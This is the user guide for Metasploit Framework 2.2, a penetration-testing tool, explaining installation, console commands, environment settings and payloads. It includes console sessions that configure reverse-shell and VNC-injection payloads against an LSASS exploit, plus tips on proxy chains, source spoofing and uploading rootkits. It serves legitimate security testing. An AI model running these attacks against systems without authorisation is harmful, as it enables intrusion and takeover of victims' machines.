

# **Metasploit Framework Version 2.2**

## **User Crash Course**

### **Introduction**

This document is an attempt at a user guide for version 2.2 of the Metasploit Framework, its goal is to provide a basic overview of what the Framework is, how it works, and what you can do with it. As with most open-source projects, correct documentation takes back seat to actual development. If you would like to contribute to the project and have strong technical writing skills, please contact the developers at the email address listed at the end of this document.

The Metasploit Framework is a complete environment for writing, testing, and using exploit code. This environment provides a solid platform for penetration-testing, shellcode development, and vulnerability research. The majority of the Framework is composed of object-oriented Perl code, with optional components written in C, assembler, and Python.

There are currently two core developers, two significant contributors, and a large group of people who have provided ideas or code that have made their way into the project. Please refer to the Credits exploit module for a complete listing of all of the people involved in the project.

# Installation

## Installation on Unix

Installing the Framework is as easy as extracting the tarball, changing into the created directory, and executing your preferred user interface. We strongly recommend that you compile and install the Term::ReadLine::Gnu Perl module found in the 'extras' subdirectory. This package enables extensive tab-completion support in the *msfconsole* interface; *msfconsole* is the preferred UI for everyday use. If SSL support is desired, you should install the Net::SSLeay Perl module as well, this can also be found in the 'extras' subdirectory.

To perform a system-wide installation, we recommend that you copy the entire Framework directory into a globally accessible location (/usr/local/msf) and then create symbolic links from the msf\* applications to a directory in the system path (/usr/local/bin). User-specific modules can be placed into \$HOME/.msf/<TYPE> directory, where TYPE is one of exploits, payloads, nops, or encoders.

## Installation on Windows

After months of working around ActiveState bugs, we finally decided to scrap it and only support Cygwin Perl. The Metasploit Framework Win32 installer bundles a stripped-down copy of the Cygwin environment, this is the preferred way to use the Framework on the Windows platform. If you would like to install the Framework into an existing Cygwin environment, please refer to the file 'docs/QUICKSTART.cygwin' in the installation directory; there are a number of issues with installing the Term::ReadLine::Gnu and Net::SSLeay modules that require jumping through hoops to solve.

## Platform Caveats

While we have tried to support as many platforms as possible, there are some compatibility bugs that have cropped up. If you plan on accessing the msfweb interface from a MacOS X system, be aware that Internet Explorer will experience problems at the last stage of the exploit process. This problem results from IE not being able to display incremental output from HTTP 1.0 servers. The raw socket support is currently non-functional in Cygwin, AIX, HP-UX, and possibly Solaris. This will affect your ability to spoof UDP-based attacks using the UdpSourceIp environment variable. Windows users may encounter problems when using the Win32 installer on a system that already has an older version of Cygwin installed.

## Supported Operating Systems

The Framework should run on almost any Unix-based operating system that includes a complete and modern version of the Perl interpreter (5.6+). Every

stable version of the Framework is tested with four primary platforms:

- Linux (x86, ppc) (2.4, 2.6)
- Windows NT (4.0, 2000, XP, 2003)
- BSD (Open 3.x, Free 4.6+)
- MacOS X (10.3.3)

The following platforms are known to be problematic:

- Windows 9x (95, 98, ME)
- HP-UX 11i (requires Perl upgrade)

We have received numerous reports of the Framework working just fine on Solaris, AIX, and even the Sharp Zaurus (Linux-based). These systems often require an updated version of Perl in conjunction with the GNU utilities to function correctly.

### **Updating the Framework**

Starting with version 2.2, the Framework includes the *msfupdate* online update utility. This script can be used to download and install the latest version of the Framework from the metasploit.com web site. It performs per-file updates by comparing local file checksums with those available from the web site. This process occurs across a validated SSL connection, assuming that the Net::SSLeay module has been installed. This is not completely fail-safe and still depends on the security of the metasploit.com web server. To learn more about the msfupdate tool, simply execute it with the `-h` argument.

If you would prefer to not use the online update system, you can still download updated modules from the metasploit.com web site. An interface will be provided in the near future for downloading the current stable snapshot.

# Getting Started

## The Console Interface

After you have installed the Framework, you should verify that everything is working correctly. The quickest way to do this is to execute the *msfconsole* user interface. This interface should display an ASCII Metasploit logo, print the current version, number of payloads, number of exploits, and drop to a 'msf' prompt. From this prompt, type **help** to get a list of valid commands. You are currently in the 'main' mode; this allows you to list exploits, list payloads, and configure global options. To list all available exploits, type **show exploits**. To obtain more information about a given exploit, type **info module\_name**.

## Console Efficiency

The console has been designed with efficiency in mind and can be used as a standard shell in many situations. If you enter an unknown command, the console will scan the system path to determine if you typed an external command. If it finds a match, that command will be executed with the supplied arguments. This allows you to use your standard set of tools without having to leave the console. Tab completion defaults to file-name matching when the command entered is not an internal console command. This allows you to navigate the file system normally, similar to using a bash shell.

## Selecting an Exploit

From the msf prompt, you can choose an exploit with the **use** command. This command takes the name of the exploit module as the first argument, enters exploit mode, and loads the Temporary environment for that exploit. You can switch between active exploits with the **use** command and drop back to the main shell with the **back** command.

## Exploit Basics

After selecting an exploit, your available command selection changes. Enter the **help** command again to get an idea of what is available. The **show** command now has a completely different set of arguments, these allow you to view the standard options, advanced options, exploit targets, and compatible payloads. The **check** command invokes the vulnerability check mode of the selected exploit. The **exploit** command actually launches the selected exploit.

# Environments

The environment system is a core component of the Framework; the interfaces use it to configure various options, the payloads use it patch opcodes, the exploits use it to define parameters, and it is used internally to pass options between modules. The environment system is logically divided into a Global and Temporary environment.

Each exploit maintains its own Temporary environment, which overrides the Global environment. When you select an exploit via the **use** command, the Temporary environment for that exploit is loaded and the previous one is saved off. If you switch back to the previous exploit, the Temporary environment for that exploit is loaded again.

## Global Environment

The Global environment is accessed through the console via the **setg** and **unsetg** commands. The following example shows the Global environment state after a fresh installation. Calling **setg** with no arguments displays the current global environment, calling **unsetg** with no arguments will clear the entire global environment. Default settings are automatically loaded when the interface starts.

```
+ -- ==[ msfconsole v2.2 [34 exploits - 33 payloads]

msf > setg
AlternateExit: 2
DebugLevel: 0
Logging: 0
msf >
```

## Temporary Environment

The Temporary environment is accessed through the **set** and **unset** commands. This environment only applies to the currently loaded exploit module; switching to another exploit via the **use** command will result in the Temporary environment for the current module being swapped out with the environment of the new module. If no exploit is currently active, the **set** and **setg** commands will not be available. Switching back to the original exploit module will result in the original environment being restored. Inactive Temporary environments are simply stored in memory and activated once their associated module has been selected. The following example shows how the **use** command selects an active exploit and how the **back** command reverts to the main mode.

```
msf > use apache_chunked_win32
msf apache_chunked_win32 > set
msf apache_chunked_win32 > set FOO BAR
FOO -> BAR
msf apache_chunked_win32 > set
FOO: BAR
msf apache_chunked_win32 > back
msf > use poptop_negative_read
msf poptop_negative_read > set
msf poptop_negative_read > back
msf > use apache_chunked_win32
msf apache_chunked_win32 > set
FOO: BAR
msf apache_chunked_win32 >
```

## Saved Environment

The **save** command can be used to synchronize the Global and all Temporary environments to disk. The saved environment is written to `~/.msf/config` and will be loaded when any of the user interfaces are executed.

## Using the Environment Effectively

This split environment system allows you save time during exploit development and penetration testing. Common options between exploits can be defined in the Global environment once and automatically used in any exploit you load thereafter.

The example below shows how the LPORT, LHOST, and PAYLOAD global environments can be used to save time when exploiting a set of Windows-based targets. If this environment was set and a Linux exploit was being used, the Temporary environment (via **set** and **unset**) could be used to override these defaults.

```
msf > setg LPORT 1234
LPORT -> 1234
msf > setg LHOST 192.168.0.10
LHOST -> 192.168.0.10
msf > setg PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf > use apache_chunked_win32
msf apache_chunked_win32(win32_reverse) > show options
Exploit and Payload Options
=====

Exploit:  Name      Default  Description
-----  -
optional  SSL           Use SSL
required  RHOST         The target address
required  RPORT      80  The target port

Payload:  Name      Default  Description
-----  -
optional  EXITFUNC  seh      Exit technique: "process", "thread", "seh"
required  LPORT     1234     Local port to receive connection
required  LHOST     192.168.0.10  Local address to receive connection
```

## Environment Variables

The environment can be used to configure many aspects of the Framework, ranging from user interface settings to specific timeout options in the network socket API. This section describes the most commonly used environment variables.

### DebugLevel

This variable is used to control the verbosity of debugging messages provided by the components of the Framework. Setting this value to 0 will prevent debugging messages from being displayed (default). Supported values of DebugLevel range from 0 to 5.

### Logging

This variable is used to enable or disable session logging.. Session logs are stored in ~/.msf/logs by default, the directory can be changed using the LogDir environment variable. You can use the **msflogdump** utility to view the generated session logs. These logs contain the complete environment for the exploit as well as per-packet timestamps.

### LogDir

This option specifies what directory the log files should be stored in. It defaults to ~/.msf/logs. There are two types of log files, the main log and the session logs. The main log will record each significant action performed by the console interface. A new session log will be created for each successful exploit attempt.

### Encoder

This variable can be set to a comma separated list of preferred Encoders. The Framework will try this list of Encoders first (in order), and then fall through to any remaining Encoders. The Encoders can be listed with **show encoders**.

```
msf> set Encoder ShikataGaNai
```



## EncoderDontFallThrough

This option tells the Framework to not fall through to remaining Encoders if the entire preferred list fails. This is useful for keeping your stealthiness on a network, and not accidentally falling through to an unwanted Encoder because your preferred Encoder failed.

## Nop

This has the same behavior as the Encoder entry above, except it is used to specify the list of preferred Nop generator modules. The Nop generators can be listed with **show nops**.

```
msf> set Nop Pex
```

## NopDontFallThrough

This option has the same behavior as EncoderDontFallThrough, except it applies to the Nop preferred list.

## RandomNops

This option allows randomized nop sleds to be used instead of the standard nop opcode. RandomNops should be stable with all exploit modules included in the Framework.

## ConnectTimeout

This option allows you to specify the connect timeout for TCP sockets. This value defaults to 10 and may need to be increased to exploit systems across slow links.

## RecvTimeout

This option specifies the maximum number of seconds allowed for socket reads that specified the special length value of -1. This may need to be increased if you are exploiting systems over a slow link and running into problems.

## **RecvTimeoutLoop**

This option specifies the maximum number of seconds to wait for data on a socket before returning it. Each time that data is received within this period, the loop starts again. This may need to be increased if you are exploiting systems over a slow link and running into problems.

## **Proxies**

This environment variable forces all TCP sockets to go through the specified proxy chain. The format of the chain type:host:port for each proxy, separated by commas. The 2.2 release includes support for socks4 and http proxy types.

## **ForceSSL**

This environment variable forces all TCP sockets to negotiate the SSL protocol. This is only useful when an exploit module does not provide the “SSL” user option.

## **UdpSourceIp**

This environment variable can be used to control the source IP address from which all UDP datagrams are sent. This option is only effective when used with a UDP-based exploit (MSSQL, ISS, etc). This option depends on being able to open a raw socket; something that is normally only available to the root or administrative user. As of the 2.2 release, this feature is not working with the Cygwin environment.

## **NinjaHost**

This environment variable can be used to redirect all payload connections to a socketNinja server. This value should be the IP address of the system running the socketNinja console (perl socketNinja.pl -d).

## **NinjaPort**

This environment variable can be used with the NinjaHost variable to redirect payload connections to a system running the socketNinja server. This value should be the port number of the socketNinja console.

## **NinjaDontKill**

This option can be used to exploit multiple systems at once and is particular useful when firing a UDP-based exploit at a network broadcast address.

## **AlternateExit**

This option is a workaround for a bug found in certain versions of the Perl interpreter. If the *msfconsole* interface crashes with a segmentation fault on exit, try setting the value of this variable to "2".

For a complete listing of all environment variables, please see the file *Environment.txt* in the docs subdirectory of the Framework.

# Using the Framework

## Choosing an Exploit Module

From the *msfconsole* interface, you may view the available exploit modules through with the **show exploits** command. Select an exploit with the **use** command, specifying the short module name as the argument. The **show info** command can be used to view information about a specific exploit module.

## Configuring the Active Exploit

Once you have selected an exploit, the next step is to determine what options it requires. This can be accomplished with the **show options** command. Most exploits use **RHOST** to specify the target address and **RPORT** to set the target port. Use the **set** command to configure the appropriate values for all required options. If you have any questions about what a given option does, refer to the module source code. Advanced options are available with some exploit modules, these can be viewed with the **show advanced** command.

## Verifying the Exploit Options

The **check** command can be used to determine whether the target system is vulnerable to the active exploit module. This is a quick way to verify that all options have been correctly set and that the target is actually vulnerable to exploitation. Not all exploit modules have implemented the check functionality. In many cases it is nearly impossible to determine whether a service is vulnerable without actually exploiting it. A **check** command should never result in the target system crashing or becoming unavailable. Many modules simply display version information and expect you to analyze it before proceeding.

## Selecting the Payload

The payload is the actual code that will run on the target system after a successful exploit attempt. Use the **show payloads** command to list all payloads compatible with the current exploit. If you are behind a firewall, you may want to use a bind shell payload, if your target is behind one and you are not, you would use a reverse connect payload. You can use the **info payload\_name** command to view detailed information about a given payload.

Once you have decided on a payload, use the **set** command to specify the payload module name as the value for the **PAYLOAD** environment variable. Once the payload has been set, use the **show options** command to display all available payload options. Most payloads have at least one required option. Advanced options are provided by a handful of payload options; use the **show advanced** command to view these.

## Selecting a Target

Many exploits will require the **TARGET** environment variable to be set to the index number of the desired target. The **show targets** command will list all targets provided by the exploit module. Many exploits will default to a brute-force target type; this may not be desirable in all situations.

## Launching the Exploit

The **exploit** command will launch the attack. If everything went well, your payload will execute and potentially provide you with an interactive command shell on the exploited system.

## The Command Line Interface

If the console is overkill for your needs, you may want to try the msfcli interface. This interface takes a match string as the first parameter, followed by the options in a VAR=VAL format, and finally an action code to specify what should be done. The match string is used to determine which exploit you want to launch; in the event that more than one module matches, a list of possible modules will be provided.

The action code is a single letter; **S** for summary, **O** for options, **A** for advanced options, **P** for payloads, **T** for targets, **C** to try a vulnerability check, and **E** to exploit. The saved environment will be loaded and used at startup, this allows you to configure various default options in the Global environment of *msfconsole*, save them, and take advantage of them in the *msfcli* interface.

The command line interface is well suited for automated exploitation and batch testing, combined with a custom payload and an intelligent scanner, it could be ruthless :)

## The Web Interface

The *msfweb* interface is a functional web server that allows you launch attacks from your web browser. This interface is still very primitive, but might be useful for users working in a team environment (pen-testing, etc). The connection to the exploited host is proxied to a random listening port on the web server and the user is given a telnet protocol link to this dynamically created listener.

The *msfweb* interface provides almost no security whatsoever; anyone on the network may connect to this web server or the dynamically selected proxy port. The default configuration is to listen on the loopback address only, this can be changed by passing the *-a* option with a value consisting of address:port. Just like the command line interface, the saved environment is loaded on startup and can affect module settings. We do not recommend that the *msfweb* interface be used in production environments.

## Advanced Features

This section covers some of the advanced features that can be found in this release. These features can be used in any compatible exploit and highlight the strength of developing attack code using an exploit framework.

### InlineEgg Python Payloads

The InlineEgg library is a Python class for dynamically generating small assembly language programs. The most common use of this library is to quickly create advanced exploit payloads. This library was developed by Gera for use with Core ST's Impact product. Core has released this library to the public under a non-commercial license.

The Metasploit Framework supports InlineEgg payloads through the ExternalPayload module interface; this allows transparent support if the Python scripting language is installed. To enable the InlineEgg payloads, the **EnablePython** environment variable must be set to non-zero value. This change was made version 2.2 to speed up the module reload process.

This release includes InlineEgg examples for Linux, BSD, and Windows. The Linux examples are `linux86_reverse_ie`, `linux86_bind_ie`, and `linux86_reverse_xor`. These payloads can be selected and used in the same way as any other payload. The payload contents are dynamically generated by the Python scripts in the `payloads/external` subdirectory. The BSD payloads function almost exactly the same as their Linux counterparts.

The Windows InlineEgg example is named `win32_reverse_stg_ie` and works in a slightly different fashion. This payload has an option named **IEGG**, this option specifies the path to the InlineEgg Python script that contains your final payload. This is a staged payload; the first stage is a standard reverse connect, the second stage sends the address of `GetProcAddress` and `LoadLibraryA` over the connection, and the third stage is generated locally and sent across the network. An example InlineEgg script is included in the `payloads/external` subdirectory, called `'win32_stg_winexec.py'`. For more information about InlineEgg, please see Gera's web site, located at:

<http://community.corest.com/~gera/ProgrammingPearls/InlineEgg.html>

## Impurity ELF Injection

Impurity was a concept developed by Alexander Cattergo that described a method of loading and executing a new ELF executable in-memory. This technique allows for arbitrarily complex payloads to be written in standard C, the only requirement is a special loader payload. The Framework includes a Linux loader for Impurity executables, the payload is named **linx86\_reverse\_impurity** and requires the **PEEXEC** option to be set to the path of the executable. Impurity executables must be compiled in a specific way, please see the documentation in the `src/shellcode/linux/impurity` subdirectory for more information about this process. The included "shelldemo" application in the `data` subdirectory allows you to list, access, read, write, and open file handles in the exploited process. The original mailing list post is archived online at:

<http://archives.neohapsis.com/archives/vuln-dev/2003-q4/0006.html>

## Chainable Proxies

The Framework includes transparent support for TCP proxies, this release has handler routines for HTTP CONNECT and SOCKSv4 servers. To use a proxy with a given exploit, the **Proxies** environment variable needs to be set. The value of this variable is a comma-separated list of proxy servers, where each server is in the format `type:host:port`. The type values are 'http' for HTTP CONNECT and 'socks4' for SOCKS v4. The proxy chain can be of any length; testing shows that the system was stable with over five hundred SOCKS and HTTP proxies configured randomly in a chain. The proxy chain only masks the exploit request, the automatic connection to the payload is not relayed through the proxy chain at this time.

## Win32 UploadExec Payloads

Although Unix systems normally include all of the tools you need post-exploitation, Windows systems are notoriously lacking in a decent command line tool kit. The UploadExec payloads included in this release allow you to simultaneously exploit a Windows system, upload your favorite tool, and execute it, all across the payload socket connection. When combined with a self-extracting rootkit or scripting language interpreter (perl.exe!), this can be a very powerful feature.



## Win32 DLL Injection Payloads

Version 2.2 of the Framework includes a staged payload that is capable of injecting a custom DLL into memory in combination with any Win32 exploit. This payload will not result in any files being written to disk; the DLL is loaded directly into memory and is started as a new thread in the exploited process. This payload was developed by Jarkko Turkulainen and Matt Miller and is one of the most powerful post-exploitation techniques developed to date. To create a DLL which can be used with this payload, use the development environment of choice and build a standard Win32 DLL. This DLL should export an function called `Init` which takes a single argument, an integer value which contains the socket descriptor of the payload connection. The `Init` function becomes to entry point for the new thread in the exploited process. When processing is complete, it should return and allow the loader stub to exit the process according to the **EXITFUNC** environment variable. If you would like to write your own DLL payloads, refer to the `src/shellcode/win32/dllinject` directory in the Framework.

## VNC Server DLL Injection

One of the first DLL injection payloads developed was a customized VNC server. This server was written by Matt Miller and based on the RealVNC source code. Additional modifications were made to allow the server to work with exploited, non-interactive network services. This payload allows you to immediately access the desktop of an exploited system using almost any Win32 exploit. The DLL is loaded into the remote process using any of the staged loader systems, started up as a new thread in the exploited process, and the listens for VNC client requests on the same socket used to load the DLL. The Framework simply listens on a local socket for a VNC client and proxies data across the payload connection to the server.

The VNC server will attempt to obtain full access to the current interactive desktop. If the first attempt fails, it will call `RevertToSelf()` and then try the attempt again. If it still fails to obtain full access to this desktop, it will fall back to a read-only mode. In read-only mode, the Framework user can view the contents of the desktop, but not interact with it. If full access was obtained, the VNC server will spawn a command shell on the desktop with the privileges of the exploited service. This is useful in situations where an unprivileged user is on the interactive desktop, but the exploited service is running with System privileges.

If there is no interactive user logged into the system or the screen has been locked, the command shell can be used to launch `explorer.exe` anyways. This can result in some very confused users when the logon screen also has a start menu. If the interactive desktop is changed, either through someone logging into the system or locking the screen, the VNC server will disconnect the client. Future versions may attempt to follow a desktop switch.

To use the VNC injection payloads, specify the full path to the VNC server as the value of the **DLL** option. The VNC server can be found in the data subdirectory of the Framework installation and is named 'vncdll.dll'. The source code of the DLL can be found in the src/shellcode/win32/dllinject/vncinject subdirectory of the Framework installation.

```
msf > use lsass_ms04_011
msf lsass_ms04_011 > set RHOST some.vuln.host
RHOST -> some.vuln.host
msf lsass_ms04_011 > set PAYLOAD win32_reverse_vncinject
PAYLOAD -> win32_reverse_vncinject
msf lsass_ms04_011(win32_reverse_vncinject) > set LHOST your.own.ip
LHOST -> your.own.ip
msf lsass_ms04_011(win32_reverse_vncinject) > set LPORT 4321
LPORT -> 4321
msf lsass_ms04_011(win32_reverse_vncinject) > exploit
```

If the “vncviewer” application is in your path and the AUTOVNC option has been set (it is by default), the Framework will automatically open the VNC desktop. If you would like to connect to the desktop manually, **set AUTOVNC 0**, then use vncviewer to connect to 127.0.0.1 on port 5900.

## **More Information**

### **Web Site**

The metasploit.com web site is the first place to check for updated modules and new releases. This web site also hosts the Opcode Database and a decent Windows shellcode archive.

### **Mailing List**

You can subscribe to the Metasploit Framework mailing list by sending a blank email to framework-subscribe [at] metasploit.com. This is the preferred way to submit bugs, suggest new features, and discuss the Framework with other users.

### **Developers**

If you would like to get involved in the development of the next version of the Framework, please contact the developers. They can be reached at: msfdev [at] metasploit.com.